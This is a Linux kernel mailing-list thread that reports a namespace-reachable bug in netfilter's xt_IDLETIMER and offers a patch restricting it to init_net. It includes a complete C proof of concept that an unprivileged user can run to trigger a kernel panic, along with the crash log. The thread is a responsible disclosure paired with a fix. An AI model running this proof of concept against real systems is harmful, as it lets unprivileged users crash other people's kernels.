Skip to contentSkip to conversation

netfilter: xt_IDLETIMER: restrict to init_net

PATCH New Zhiling Zou 1 participant 2 messages Sep 7

Subsystems (2)
lore
Share & tools
lore
#0 lore raw

cover netfilter: xt_IDLETIMER: restrict to init_net

Hi Linux kernel maintainers,

We found and validated an issue in net/netfilter/xt_IDLETIMER.c. The bug is reachable by a non-root user via user and net namespace.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

xt_IDLETIMER keeps its timer list, reference counts, and sysfs files in module-global state. Xtables still calls checkentry and destroy for rules in individual network namespaces. A matching label from another namespace can therefore attach to an existing timer, restart it, or drop it.

The same collision can mix revision 0 timer_list state with a revision 1 alarm created elsewhere. Revision 0 then calls mod_timer() on an uninitialized timer_list.

The sysfs path under xt_idletimer/timers is global and cannot represent per-namespace labels with the current target. Reject IDLETIMER rules outside init_net so that global state stays in the namespace it was built for.

Reproducer:

gcc -O2 -Wall -Wextra -o poc poc.c
unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

    #define _GNU_SOURCE
    
    #include <errno.h>
    #include <fcntl.h>
    #include <linux/netfilter.h>
    #include <linux/netfilter/xt_IDLETIMER.h>
    #include <linux/netfilter/x_tables.h>
    #include <linux/netfilter_ipv4/ip_tables.h>
    #include <sched.h>
    #include <signal.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <unistd.h>
    
    struct child_cfg {
    	const char *name;
    	const char *label;
    	unsigned int timeout;
    	uint8_t timer_type;
    	uint8_t revision;
    };
    
    struct child_state {
    	struct child_cfg cfg;
    	pid_t pid;
    	int ready_pipe[2];
    	int go_pipe[2];
    };
    
    struct ipt_standard_local {
    	struct ipt_entry entry;
    	struct xt_standard_target target;
    };
    
    struct ipt_error_local {
    	struct ipt_entry entry;
    	struct xt_error_target target;
    };
    
    static void fatal(const char *what)
    {
    	perror(what);
    	exit(EXIT_FAILURE);
    }
    
    static void write_all(int fd, const char *buf, size_t len)
    {
    	while (len > 0) {
    		ssize_t n = write(fd, buf, len);
    
    		if (n < 0) {
    			if (errno == EINTR)
    				continue;
    			fatal("write");
    		}
    
    		buf += n;
    		len -= (size_t)n;
    	}
    }
    
    static void write_text_file(const char *path, const char *text, bool ignore_missing)
    {
    	int fd = open(path, O_WRONLY | O_CLOEXEC);
    
    	if (fd < 0) {
    		if (ignore_missing && errno == ENOENT)
    			return;
    		fatal(path);
    	}
    
    	write_all(fd, text, strlen(text));
    	close(fd);
    }
    
    static void map_child_ids(pid_t pid, uid_t host_uid, gid_t host_gid)
    {
    	char path[128];
    	char map[128];
    
    	snprintf(path, sizeof(path), "/proc/%d/setgroups", pid);
    	write_text_file(path, "deny\n", true);
    
    	snprintf(path, sizeof(path), "/proc/%d/uid_map", pid);
    	snprintf(map, sizeof(map), "0 %u 1\n", host_uid);
    	write_text_file(path, map, false);
    
    	snprintf(path, sizeof(path), "/proc/%d/gid_map", pid);
    	snprintf(map, sizeof(map), "0 %u 1\n", host_gid);
    	write_text_file(path, map, false);
    }
    
    static void sync_send(int fd)
    {
    	char byte = '!';
    
    	write_all(fd, &byte, 1);
    }
    
    static void sync_wait(int fd)
    {
    	char byte;
    
    	for (;;) {
    		ssize_t n = read(fd, &byte, 1);
    
    		if (n == 1)
    			return;
    		if (n == 0) {
    			fprintf(stderr, "unexpected EOF on sync pipe\n");
    			exit(EXIT_FAILURE);
    		}
    		if (errno != EINTR)
    			fatal("read");
    	}
    }
    
    static void fill_standard(struct ipt_standard_local *entry, int verdict)
    {
    	memset(entry, 0, sizeof(*entry));
    	entry->entry.target_offset = sizeof(struct ipt_entry);
    	entry->entry.next_offset = sizeof(*entry);
    	entry->target.target.u.user.target_size =
    		XT_ALIGN(sizeof(struct xt_standard_target));
    	entry->target.verdict = -verdict - 1;
    }
    
    static void fill_error(struct ipt_error_local *entry)
    {
    	memset(entry, 0, sizeof(*entry));
    	entry->entry.target_offset = sizeof(struct ipt_entry);
    	entry->entry.next_offset = sizeof(*entry);
    	entry->target.target.u.user.target_size =
    		XT_ALIGN(sizeof(struct xt_error_target));
    	snprintf(entry->target.target.u.user.name,
    		 sizeof(entry->target.target.u.user.name),
    		 "%s", XT_ERROR_TARGET);
    	snprintf(entry->target.errorname,
    		 sizeof(entry->target.errorname),
    		 "%s", XT_ERROR_TARGET);
    }
    
    static void fill_idletimer_entry(struct ipt_entry *entry, uint8_t revision,
    				 const char *label, unsigned int timeout,
    				 uint8_t timer_type)
    {
    	struct xt_entry_target *target;
    	size_t payload_len;
    	size_t target_len;
    
    	memset(entry, 0, sizeof(*entry));
    	payload_len = revision == 0 ?
    		      sizeof(struct idletimer_tg_info) :
    		      sizeof(struct idletimer_tg_info_v1);
    	target_len = XT_ALIGN(sizeof(*target) + payload_len);
    
    	entry->target_offset = sizeof(*entry);
    	entry->next_offset = entry->target_offset + target_len;
    
    	target = (struct xt_entry_target *)((char *)entry + entry->target_offset);
    	memset(target, 0, target_len);
    	target->u.user.target_size = target_len;
    	snprintf(target->u.user.name, sizeof(target->u.user.name), "IDLETIMER");
    	target->u.user.revision = revision;
    
    	if (revision == 0) {
    		struct idletimer_tg_info *info = (struct idletimer_tg_info *)target->data;
    
    		info->timeout = timeout;
    		snprintf(info->label, sizeof(info->label), "%s", label);
    	} else {
    		struct idletimer_tg_info_v1 *info =
    			(struct idletimer_tg_info_v1 *)target->data;
    
    		info->timeout = timeout;
    		snprintf(info->label, sizeof(info->label), "%s", label);
    		info->timer_type = timer_type;
    	}
    }
    
    static int install_output_rule(uint8_t revision, const char *label,
    			       unsigned int timeout, uint8_t timer_type)
    {
    	struct ipt_getinfo oldinfo;
    	struct ipt_replace *repl;
    	struct xt_counters *counters;
    	size_t std_len = sizeof(struct ipt_standard_local);
    	size_t err_len = sizeof(struct ipt_error_local);
    	size_t custom_payload_len = revision == 0 ?
    				    sizeof(struct idletimer_tg_info) :
    				    sizeof(struct idletimer_tg_info_v1);
    	size_t custom_len = sizeof(struct ipt_entry) +
    			    XT_ALIGN(sizeof(struct xt_entry_target) +
    				     custom_payload_len);
    	size_t total_len = (std_len * 3) + custom_len + err_len;
    	socklen_t optlen;
    	int fd;
    	int ret = -1;
    	int saved_errno = 0;
    
    	memset(&oldinfo, 0, sizeof(oldinfo));
    	snprintf(oldinfo.name, sizeof(oldinfo.name), "filter");
    
    	fd = socket(AF_INET, SOCK_DGRAM, 0);
    	if (fd < 0)
    		return -1;
    
    	optlen = sizeof(oldinfo);
    	if (getsockopt(fd, IPPROTO_IP, IPT_SO_GET_INFO, &oldinfo, &optlen) < 0) {
    		saved_errno = errno;
    		goto out_close;
    	}
    
    	if (oldinfo.num_entries != 4) {
    		errno = EBUSY;
    		saved_errno = errno;
    		goto out_close;
    	}
    	if (!(oldinfo.valid_hooks & (1U << NF_INET_LOCAL_OUT))) {
    		errno = EINVAL;
    		saved_errno = errno;
    		goto out_close;
    	}
    
    	counters = calloc(oldinfo.num_entries, sizeof(*counters));
    	if (!counters) {
    		saved_errno = errno;
    		goto out_close;
    	}
    
    	repl = calloc(1, sizeof(*repl) + total_len);
    	if (!repl) {
    		saved_errno = errno;
    		free(counters);
    		goto out_close;
    	}
    
    	snprintf(repl->name, sizeof(repl->name), "filter");
    	repl->valid_hooks = oldinfo.valid_hooks;
    	repl->num_entries = oldinfo.num_entries + 1;
    	repl->size = total_len;
    	repl->num_counters = oldinfo.num_entries;
    	repl->counters = counters;
    
    	for (size_t i = 0; i < NF_INET_NUMHOOKS; ++i) {
    		repl->hook_entry[i] = 0xFFFFFFFFU;
    		repl->underflow[i] = 0xFFFFFFFFU;
    	}
    
    	fill_standard((struct ipt_standard_local *)((char *)repl->entries + 0),
    		      NF_ACCEPT);
    	fill_standard((struct ipt_standard_local *)((char *)repl->entries + std_len),
    		      NF_ACCEPT);
    	fill_idletimer_entry((struct ipt_entry *)((char *)repl->entries + (std_len * 2)),
    			     revision, label, timeout, timer_type);
    	fill_standard((struct ipt_standard_local *)((char *)repl->entries + (std_len * 2) + custom_len),
    		      NF_ACCEPT);
    	fill_error((struct ipt_error_local *)((char *)repl->entries + (std_len * 3) + custom_len));
    
    	repl->hook_entry[NF_INET_LOCAL_IN] = 0;
    	repl->underflow[NF_INET_LOCAL_IN] = 0;
    	repl->hook_entry[NF_INET_FORWARD] = std_len;
    	repl->underflow[NF_INET_FORWARD] = std_len;
    	repl->hook_entry[NF_INET_LOCAL_OUT] = std_len * 2;
    	repl->underflow[NF_INET_LOCAL_OUT] = (std_len * 2) + custom_len;
    
    	if (setsockopt(fd, IPPROTO_IP, IPT_SO_SET_REPLACE, repl,
    		       sizeof(*repl) + repl->size) < 0) {
    		saved_errno = errno;
    		free(repl);
    		free(counters);
    		goto out_close;
    	}
    
    	free(repl);
    	free(counters);
    	ret = 0;
    
    out_close:
    	close(fd);
    	if (ret < 0 && saved_errno)
    		errno = saved_errno;
    	return ret;
    }
    
    static int probe_initial_ns_permission(void)
    {
    	if (install_output_rule(0, "init-probe", 1, 0) == 0) {
    		fprintf(stderr,
    			"[!] unexpectedly installed an IDLETIMER rule without namespace-local CAP_NET_ADMIN\n");
    		return EXIT_FAILURE;
    	}
    
    	if (errno != EPERM) {
    		fprintf(stderr,
    			"[!] initial-namespace probe failed with errno=%d (%s), expected EPERM\n",
    			errno, strerror(errno));
    		return EXIT_FAILURE;
    	}
    
    	printf("[*] initial-namespace probe failed with EPERM as expected\n");
    	return EXIT_SUCCESS;
    }
    
    static void child_entry(struct child_state *st)
    {
    	close(st->ready_pipe[0]);
    	close(st->go_pipe[1]);
    
    	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
    		fatal("unshare");
    
    	sync_send(st->ready_pipe[1]);
    	sync_wait(st->go_pipe[0]);
    
    	if (install_output_rule(st->cfg.revision, st->cfg.label,
    				st->cfg.timeout, st->cfg.timer_type) < 0)
    		fatal("install_output_rule");
    
    	printf("[%s] installed revision %u label %s timeout %u timer_type %u\n",
    	       st->cfg.name, st->cfg.revision, st->cfg.label, st->cfg.timeout,
    	       st->cfg.timer_type);
    	fflush(stdout);
    
    	for (;;)
    		pause();
    }
    
    static void start_child(struct child_state *st, uid_t uid, gid_t gid)
    {
    	if (pipe(st->ready_pipe) < 0)
    		fatal("pipe");
    	if (pipe(st->go_pipe) < 0)
    		fatal("pipe");
    
    	st->pid = fork();
    	if (st->pid < 0)
    		fatal("fork");
    
    	if (st->pid == 0) {
    		close(st->ready_pipe[0]);
    		close(st->go_pipe[1]);
    		child_entry(st);
    		_exit(EXIT_FAILURE);
    	}
    
    	close(st->ready_pipe[1]);
    	close(st->go_pipe[0]);
    
    	sync_wait(st->ready_pipe[0]);
    	map_child_ids(st->pid, uid, gid);
    	sync_send(st->go_pipe[1]);
    }
    
    static void stop_child(struct child_state *st)
    {
    	if (st->pid <= 0)
    		return;
    	kill(st->pid, SIGKILL);
    	waitpid(st->pid, NULL, 0);
    	st->pid = -1;
    }
    
    int main(int argc, char **argv)
    {
    	static const char *label = "ns-share-lbl";
    	struct child_state alarm_ns = {
    		.cfg = {
    			.name = "alarm-ns",
    			.label = label,
    			.timeout = 3600,
    			.timer_type = XT_IDLETIMER_ALARM,
    			.revision = 1,
    		},
    		.pid = -1,
    	};
    	struct child_state legacy_ns = {
    		.cfg = {
    			.name = "legacy-ns",
    			.label = label,
    			.timeout = 1,
    			.timer_type = 0,
    			.revision = 0,
    		},
    		.pid = -1,
    	};
    	uid_t uid = getuid();
    	gid_t gid = getgid();
    
    	setvbuf(stdout, NULL, _IONBF, 0);
    
    	if (argc == 2 && strcmp(argv[1], "--probe-initial-ns") == 0)
    		return probe_initial_ns_permission();
    	if (argc != 1) {
    		fprintf(stderr, "usage: %s [--probe-initial-ns]\n", argv[0]);
    		return EXIT_FAILURE;
    	}
    
    	printf("[*] uid=%u gid=%u\n", uid, gid);
    	printf("[*] creating first user+net namespace with revision 1 alarm rule\n");
    	start_child(&alarm_ns, uid, gid);
    	printf("[*] creating second user+net namespace with revision 0 rule using the same label\n");
    	start_child(&legacy_ns, uid, gid);
    	printf("[*] the second rule installation should now crash the kernel in idletimer_tg_checkentry()\n");
    
    	sleep(5);
    
    	fprintf(stderr, "[!] kernel did not crash during the second rule installation\n");
    	stop_child(&legacy_ns);
    	stop_child(&alarm_ns);
    	return EXIT_FAILURE;
    }

------END poc.c--------

----BEGIN crash log----

[  229.516354][ T9828] ODEBUG: assert_init not available (active state 0) object: ffff88802f413288 object type: timer_list hint: 0x6b6b6b6b6b6b6b6b
[  229.519635][ T9828] WARNING: CPU: 1 PID: 9828 at lib/debugobjects.c:514 debug_print_object+0x1a3/0x2b0
[  229.521382][ T9828] CPU: 1 UID: 1001 PID: 9828 Comm: poc Not tainted 6.12.74 #1
[  229.537987][ T9828]  __mod_timer+0xa6/0xd30
[  229.541409][ T9828]  idletimer_tg_checkentry+0x1e0/0xb40
[  229.542926][ T9828]  xt_check_target+0x272/0xa30
[  229.546358][ T9828]  find_check_entry.isra.0+0x7aa/0x9a0
[  229.549578][ T9828]  translate_table+0xc7e/0x1720
[  229.550984][ T9828]  do_ipt_set_ctl+0x8d0/0xb80
[  229.554846][ T9828]  nf_setsockopt+0x8a/0xf0
[  229.555267][ T9828]  ip_setsockopt+0xcb/0xf0
[  229.555710][ T9828]  udp_setsockopt+0x7d/0xd0
[  229.556689][ T9828]  do_sock_setsockopt+0x222/0x480
[  229.559253][ T9828]  __sys_setsockopt+0x1a5/0x270
[  229.560543][ T9828]  __x64_sys_setsockopt+0xbd/0x160
[  229.562227][ T9828]  do_syscall_64+0xc7/0x250
[  229.563050][ T9828] RIP: 0033:0x7f7e2c3980fa
[  229.569134][ T9828] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  229.569644][ T9828] CPU: 1 UID: 1001 PID: 9828 Comm: poc Not tainted 6.12.74 #1
[  229.571429][ T9828]  dump_stack_lvl+0x3b/0x1f0
[  229.571830][ T9828]  panic+0x6f9/0x7e0
[  229.573871][ T9828]  check_panic_on_warn+0xab/0xb0
[  229.574284][ T9828]  __warn+0xf7/0x3b0
[  229.575031][ T9828]  report_bug+0x3bd/0x580
[  229.575766][ T9828]  exc_invalid_op+0x17/0x50
[  229.576568][ T9828] RIP: 0010:debug_print_object+0x1a3/0x2b0
[  229.583857][ T9828]  debug_object_assert_init+0x240/0x3a0
[  229.586821][ T9828]  __mod_timer+0xa6/0xd30
[  229.589783][ T9828]  idletimer_tg_checkentry+0x1e0/0xb40
[  229.591141][ T9828]  xt_check_target+0x272/0xa30
[  229.594052][ T9828]  find_check_entry.isra.0+0x7aa/0x9a0
[  229.596626][ T9828]  translate_table+0xc7e/0x1720
[  229.597868][ T9828]  do_ipt_set_ctl+0x8d0/0xb80
[  229.601351][ T9828]  nf_setsockopt+0x8a/0xf0
[  229.601697][ T9828]  ip_setsockopt+0xcb/0xf0
[  229.602055][ T9828]  udp_setsockopt+0x7d/0xd0
[  229.602880][ T9828]  do_sock_setsockopt+0x222/0x480
[  229.605311][ T9828]  __sys_setsockopt+0x1a5/0x270
[  229.606577][ T9828]  __x64_sys_setsockopt+0xbd/0x160
[  229.608234][ T9828]  do_syscall_64+0xc7/0x250
[  229.609051][ T9828] RIP: 0033:0x7f7e2c3980fa
[  229.615764][ T9828] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
netfilter: xt_IDLETIMER: restrict to init_net

 net/netfilter/xt_IDLETIMER.c | 7 +++++++
 1 file changed, 7 insertions(+)
Signature · 1 line
2.43.0
#1 lore raw

PATCH 1/1 netfilter: xt_IDLETIMER: restrict to init_net

IDLETIMER keeps its timer registry, reference counts, and sysfs files in module-global state, while Xtables invokes checkentry and destroy for rules in individual network namespaces. A matching label from another namespace can therefore reuse and control an existing timer.

The sysfs interface is global and cannot represent per-namespace labels with the current target design. Reject IDLETIMER rules outside init_net so that global state stays in the namespace it was built for.

Fixes 0902b469bd25 ("netfilter: xtables: idletimer target implementation")
---
 net/netfilter/xt_IDLETIMER.c | 7 +++++++
 1 file changed, 7 insertions(+)
net/netfilter/xt_IDLETIMER.c +7 -0
index fe7d8d19629b4..155d6cc61dfde 100644
@@ -28,6 +28,7 @@
 #include <linux/kobject.h>
 #include <linux/workqueue.h>
 #include <linux/sysfs.h>
+#include <net/net_namespace.h>
 
 struct idletimer_tg {
 	struct list_head entry;
@@ -308,6 +309,9 @@ static int idletimer_tg_checkentry(const struct xt_tgchk_param *par)
 	struct idletimer_tg_info *info = par->targinfo;
 	int ret;
 
+	if (!net_eq(par->net, &init_net))
+		return -EOPNOTSUPP;
+
 	ret = idletimer_tg_helper(info);
 	if(ret < 0)
 		return -EINVAL;
@@ -341,6 +345,9 @@ static int idletimer_tg_checkentry_v1(const struct xt_tgchk_param *par)
 	struct idletimer_tg_info_v1 *info = par->targinfo;
 	int ret;
 
+	if (!net_eq(par->net, &init_net))
+		return -EOPNOTSUPP;
+
 	if (info->send_nl_msg)
 		return -EOPNOTSUPP;
 
Signature · 1 line
2.43.0